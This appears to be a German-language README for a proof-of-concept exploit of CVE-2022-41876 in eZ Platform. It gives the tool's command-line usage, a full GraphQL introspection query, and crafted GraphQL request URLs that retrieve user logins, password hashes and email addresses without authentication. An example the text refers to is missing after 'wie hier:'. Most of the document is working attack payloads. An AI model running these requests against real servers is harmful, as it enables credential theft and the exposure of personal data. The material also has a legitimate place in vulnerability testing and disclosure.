
PoC für CVE-2022-41876
Eine Schwachstelle in eZ Platform wurde entdeckt, die es einem nicht authentifizierten Benutzer ermöglicht, auf die Passwort-Hashes aller Mitwirkenden zuzugreifen. Dieser PoC listet alle möglichen GraphQL-Pfade auf, die zu einem 'User'-Objekt führen, und fordert diese Pfade an, um vertrauliche Benutzerinformationen abzurufen.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 PoC
positional arguments:
url Ziel-URL (GraphQL-Endpunkt angeben)
optional arguments:
-h, --help Hilfe anzeigen und beenden
-t, --thread Anzahl der Threads
-f FILE, --file FILE Lokaler Pfad zur Introspect-Datei

Die verschiedenen Schritte, die dieses Tool zur Ausnutzung der CVE durchführt, sind:
Der erste Schritt zur Ausnutzung dieser CVE ist das Abrufen einer introspect.json-Datei. Eine Möglichkeit, sie zu erhalten, besteht darin, den GraphQL-Endpunkt des Servers mit folgendem Payload abzufragen:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
Dann kann das vom Server gelieferte JSON verwendet werden, um alle Pfade zu den 'User'-Objekten mit dem Tool graphql-enum-path zu extrahieren, wie hier:

Schließlich, sobald alle Pfade gefunden sind, muss ein spezifischer Payload wie folgt erstellt und an den Server gesendet werden:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
Dabei entsprechen die Elemente den Texten in Klammern im Ergebnis von graphql-enum-path (Beachten Sie, dass für jeden Pfad eine Abfrage durchgeführt werden muss).
Mit dem obigen Beispiel von graphql-enum-path wäre der erste Payload also:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
Wenn der Server anfällig für diese CVE ist, antwortet er auf diese Abfrage mit einer JSON-Datei, die die Benutzerdaten enthält.